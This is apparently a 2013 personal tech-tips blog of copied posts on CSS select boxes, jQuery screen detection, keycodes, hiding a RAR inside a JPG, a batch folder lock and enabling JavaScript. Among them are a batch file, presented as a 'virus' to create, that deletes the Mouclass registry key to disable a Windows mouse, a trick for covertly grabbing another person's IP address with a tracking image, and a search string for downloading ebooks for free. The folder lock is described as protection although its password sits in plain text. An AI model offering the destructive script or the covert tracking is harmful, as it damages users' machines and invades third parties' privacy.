Thursday 28 November 2013

creating custom selectbox

creating custom selectbox
Demo:
step1 : copy below code as selectbox.html

<html>
<head>
<style>
.selectParent{  width:180px; overflow:hidden; }
.selectParent select{ width:100px; -webkit-appearance: none; -moz-appearance: none; appearance: none;
    padding: 2px 2px 2px 20px; border: none; background: lightblue url("http://cdn1.iconfinder.com/data/icons/cc_mono_icon_set/blacks/16x16/br_down.png") no-repeat left center; }
</style>
<body>
<div class="selectParent">
     <select>
          <option value="1">Option 1</option>
          <option value="2">Option 2</option>        
     </select>
 </div>
</body>
</html>

step2 : view in browser

Tuesday 24 September 2013

simple Trick to find IP

just need to send and image and follow below simple steps to find IP :

step 1 : open this link www.spypig.com 

step 2:  here you have to  enter your E-Mail ID and message title and create image to track IP..

step 3: Copy the image which you have select.

step 4: here you will have 60 seconds.

step 5: Paste and send to  X ( whose IP you need ).

step 6: When "X" opens it, you will get their IP.


yours
1289solutions....

Any E-Book free download

Search any e book and download for free .

step 1 : open google search engine

step 2 : type below code and search it.
                          "allinurl:+(rar|chm|zip|pdf|tgz) ebook name"

step 3 : now you will get a download option .

keep enjoying........

Saturday 7 September 2013

Hide Files Behind The Images

Learn To Hide Files Behind The Images

hide files behind images

There are some important  files or document you want to hide from others on your computer. To do that you might be creating folder inside folder to hide such files but in todays tutorial i will change this by teaching you a interesting trick to hide files behind images.To hide a file behind a image  means that if any one opens that image he will see the image, but to see the hidden file we need to open that image in a specific way. So lets get started.

How To Hide File Behind Image ?

In order to do this you should have basic understanding of command line, but if you don't know check out  tutorial given below.
1. Select an image to be used for hiding file behind the image.
2. Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3. And most important is that paste both the files on desktop. You may do this anywhere instead of desktop if you have some basic understanding of command line.
4. Now open cmd by going to Start > Accessories Command Prompt and type following commands in it.
cd desktop
hide files behind images

5. CD stands for change directory by typing above command you change your directory to desktop. After that type command given below.
 Copy /b imagename.jpg + filename.rar finalimage.jpg
hide files behind images
  • Replace imagename.jpg with the name of image you want your file to be hidden behind. Don't forget to add image format (Eg: .jpg,.png,.gif)
  • Replace filename with name of your file you want to hide. It must be in .rar format.
  • Finally Replace finalimage.jpg with whatever name you want your final image with hidden files should be. This is the image where your file will be hidden.
6. Now when you will try to open this newly created image it will open as normal image, but to open you hidden file you need follow steps given below.

How To Access Hidden File ?

To access your hidden file you need to open the newly created image in winrar. Just follow simple steps given below to do that.

    1. Open winrar
    2. Now locate your imag
- See more at: http://www.coolhackingtrick.com/2013/03/learn-to-hide-files-behind-images.html#sthash.E9V96QJr.dpuf

create virus to disable Mouse

creating a batch virus which is harmfull, it will disable your mouse - so think before trying it on yourself.

1) Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

2) Save this file as  virus.bat
3) Done you just created your virus.

- See more at: http://www.coolhackingtrick.com/2012/01/make-virus-that-disable-mouse.html#sthash.aawBMEnA.dpuf

folder lock without any software

by using a simple batch file programming, a trick with password to protect a folder without using any software (this trick will work on all windows platform (Win XP, Win 7)) .

Learn this trick below steps -

1) Open Notepad and Copy code given below into it.
  

cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder 
:CONFIRM 
echo Are you sure to lock this folder? (Y/N) 
set/p "cho=>" 
if %cho%==Y goto LOCK 
if %cho%==y goto LOCK 
if %cho%==n goto END 
if %cho%==N goto END 
echo Invalid choice. 
goto CONFIRM 
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked 
goto End 
:UNLOCK 
echo Enter password to Unlock Your Secure Folder 
set/p "pass=>" 
if NOT %pass%== coolhacks goto FAIL 
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder echo Folder Unlocked successfully 
goto End 
:FAIL 
echo Invalid password 
goto end 
:MDMyFolder 
md MyFolder 
echo MyFolder created successfully 
goto End 
:End 


2. Save the notepad file as lock.bat (.bat is must)
3. Now double click on lock.bat and a new folder will be created with name MyFolder
4. Copy all your data you want to protect in that New folder
5. Now double click on lock.bat and when command promp appears Type Y and press enter.
6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
7. It will ask for password enter your password and done. (Default password is coolhacks)
To change the password replace coolhacks with  new password in the above code


How To Further Secure ?

You might be thinking that anyone can access the password by opening that lock.bat file in Notepad or any other text editor. To make it more secure hide lock.bat in some secure location after following the above tutorial To access the secured file double click on lock.bat. I would suggest copying lock.bat file into Pendrive and copying it into your computer whenever you required to access to your protected files.

- See more at: http://www.coolhackingtrick.com/2013/04/password-protect-any-folder-without-any.html#sthash.JLJ09Q34.dpuf

keyboard character codes

The below lists the Unicode character code value of the primary keys on your keyboard :

"0" is 48


  • a
    97
  • A
    65
  • b
    98
  • B
    66
  • c
    99
  • C
    67
  • d
    100
  • D
    68
  • e
    101
  • E
    69
  • f
    102
  • F
    70
  • g
    103
  • G
    71
  • h
    104
  • H
    72
  • i
    105
  • I
    73
  • j
    106
  • J
    74
  • k
    107
  • K
    75
  • l
    108
  • L
    76
  • m
    109
  • M
    77
  • n
    110
  • N
    78
  • o
    111
  • O
    79
  • p
    112
  • P
    80
  • q
    113
  • Q
    81
  • r
    114
  • R
    82
  • s
    115
  • S
    83
  • t
    116
  • T
    84
  • u
    117
  • U
    85
  • v
    118
  • V
    86
  • w
    119
  • W
    87
  • x
    120
  • X
    88
  • y
    121
  • Y
    89
  • z
    122
  • Z
    90


  • 0
    48
  • 1
    49
  • 2
    50
  • 3
    51
  • 4
    52
  • 5
    53
  • 6
    54
  • 7
    55
  • 8
    56
  • 9
    57
  • F1
    112
  • F2
    113
  • F3
    114
  • F4
    115
  • F5
    116
  • F6
    117
  • F7
    118
  • F8
    119
  • F9
    120
  • F10
    121
  • F11
    122
  • F12
    123
  • Space
    32
  • BackSpace
    8
  • Enter
    13
  • Shift
    16
  • Ctrl
    17
  • Alt
    18


Sunday 9 June 2013

Detect screen size with jQuery and apply a CSS style

Sometimes we need to format the content differently according to the screen resolution of the user. One of the ways to do this is to simply detect the screen width using the screen.width property and change the stylesheet. In this tutorial we're going to see how to do that using jQuery.

The first step is to load our base stylesheets, the jQuery library and our javascript.


<div>

The colour of this text will change.

</div>

Let's test if the user screen size is less than 1024x768 and if it is, we will change the stylesheet.

The changing style

Define the same style in two different sheets. Once for the 1024 x 768 and once for the 800 x 600. Just make something quick and distinctive, for style1.css I'm adding:

div{

color: #006699;

font: 24px Georgia, serif;

}

and for style2.css


div{

color: #df0000;

font: 24px "Trebuchet MS", sans-serif;

}


Detecting screen width

We are going to add a JavaScript alert so the execution will pause until we click OK and we get to see the former style.


$(document).ready(function() {

 

if ((screen.width>=1024) && (screen.height>=768)) {

alert('Screen size: 1024x768 or larger');

$("link[rel=stylesheet]:not(:first)").attr({href : "style2.css"});

}

else {

alert('Screen size: less than 1024x768, 800x600 maybe?');

$("link[rel=stylesheet]:not(:first)").attr({href : "style1.css"});

}

});

As a selector, we look for the link element with a rel attribute with a value of stylesheet. We are going to redirect its href to a different stylesheet. Now, since I'm loading a reset stylesheet in the first place, i will add the :not(:first) modifier, so it won't affect the first element.

How to enable JavaScript in your browser

quote Nowadays almost all web pages contain JavaScript, a scripting programming language that runs on visitor's web browser. It makes web pages functional for specific purposes and if disabled for some reason, the content or the functionality of the web page can be limited or unavailable. Here you can find instructions on how to enable (activate) JavaScript in five most commonly used browsers.

Internet Explorer Mozilla Firefox Google Chrome Apple Safari Opera
javascript enabled JavaScript is enabled in your web browser. If you disable JavaScript, this text will change.

Developer Instructions for web developers

You may want to consider linking to this site, to educate any script-disabled users on how to enable JavaScript in five most commonly used browsers. You are free to use the code below and modify it according to your needs.
<noscript>
 For full functionality of this site it is necessary to enable JavaScript.
 Here are the <a href="http://www.enable-javascript.com/" target="_blank">
 instructions how to enable JavaScript in your web browser</a>.
</noscript>
On enable-javascript.com we optimize the script-disabled user experience as much as we can:
  • The instructions for your browser are put at the top of the page
  • All the images are inlined, full-size, for easy perusing
  • This developer-centric message is out of the way
We want your visitors to have JavaScript enabled just as much as you do!

Firefox Mozilla Firefox

  1. On the web browser click "Firefox" menu and then select "Options".
  2. In the "Options" window select the "Content" tab.
  3. Mark the "Enable JavaScript" checkbox.
  4. In the opened "Options" window click on the "OK" button to close it.
  5. Click on the "Reload current page" button of the web browser to refresh the page.
  • 1. On the web browser click "Firefox" menu and then select "Options".
  • 2. In the "Options" window select the "Content" tab.
  • 3. Mark the "Enable JavaScript" checkbox.
  • 4. In the opened "Options" window click on the "OK" button to close it.
  • 5. Click on the "Reload current page" button of the web browser to refresh the page.

Internet Explorer Internet Explorer

  1. On web browser menu click "Tools" menu and select "Internet Options".
  2. In the "Internet Options" window select the "Security" tab.
  3. On the "Security" tab click on the "Custom level..." button.
  4. When the "Security Settings - Internet Zone" dialog window opens, look for the "Scripting" section.
  5. In the "Active Scripting" item select "Enable".
  6. When the "Warning!" window pops out asking "Are you sure you want to change the settings for this zone?" select "Yes".
  7. In the "Internet Options" window click on the "OK" button to close it.
  8. Click on the "Refresh" button of the web browser to refresh the page.
Internet Explorer < 9 Internet Explorer < 9
  1. On web browser menu click "Tools" and select "Internet Options".
  2. In the "Internet Options" window select the "Security" tab.
  3. On the "Security" tab click on the "Custom level..." button.
  4. When the "Security Settings - Internet Zone" dialog window opens, look for the "Scripting" section.
  5. In the "Active Scripting" item select "Enable".
  6. When the "Warning!" window pops out asking "Are you sure you want to change the settings for this zone?" select "Yes".
  7. In the "Internet Options" window click on the"OK" button to close it.
  8. Click on the "Refresh" button of the web browser to refresh the page.
Firefox < 4 Mozilla Firefox < 4
  1. On the web browser menu click "Tools" and select "Options".
  2. In the "Options" window select the "Content" tab.
  3. Mark the "Enable JavaScript" checkbox.
  4. In the opened "Options" window click on the "OK" button to close it.
  5. Click on the "Reload current page" button of the web browser to refresh the page.

Chrome Google Chrome

  1. On the web browser menu click on the "Customize and control Google Chrome" and select "Settings".
  2. In the "Settings" section click on the "Show advanced settings..."
  3. Under the the "Privacy" click on the "Content settings...".
  4. When the dialog window opens, look for the "JavaScript" section and select "Allow all sites to run JavaScript (recommended)".
  5. Click on the "OK" button to close it.
  6. Close the "Settings" tab.
  7. Click on the "Reload this page" button of the web browser to refresh the page.

Safari Apple Safari

  1. On the web browser menu click on the "Edit" and select "Preferences".
  2. In the "Preferences" window select the "Security" tab.
  3. In the "Security" tab section "Web content" mark the "Enable JavaScript" checkbox.
  4. Click on the "Reload the current page" button of the web browser to refresh the page.

Opera Opera

  • 1. a) Click on "Menu", hover mouse on the "Settings" then hover mouse on the "Quick preferences" and mark the "Enable JavaScript" checkbox.
  • 1. b) If "Menu bar" is shown click on the "Tools", hover mouse on the "Quick preferences" and mark the "Enable JavaScript" checkbox.
  • 1. a) opera10 a
  • 1. b) opera10 b
Opera < 10 Opera < v. 10
  1. On the web browser menu click "Tools" and select "Preferences".
  2. In the "Preferences" window select the "Advanced" tab.
  3. On the "Advanced" tab click on "Content" menu item.
  4. Mark the "Enable JavaScript" checkbox.
  5. In the opened "Preferences" window click on the "OK" button to close it.
  6. Click on the "Reload" button of the web browser to refresh the page.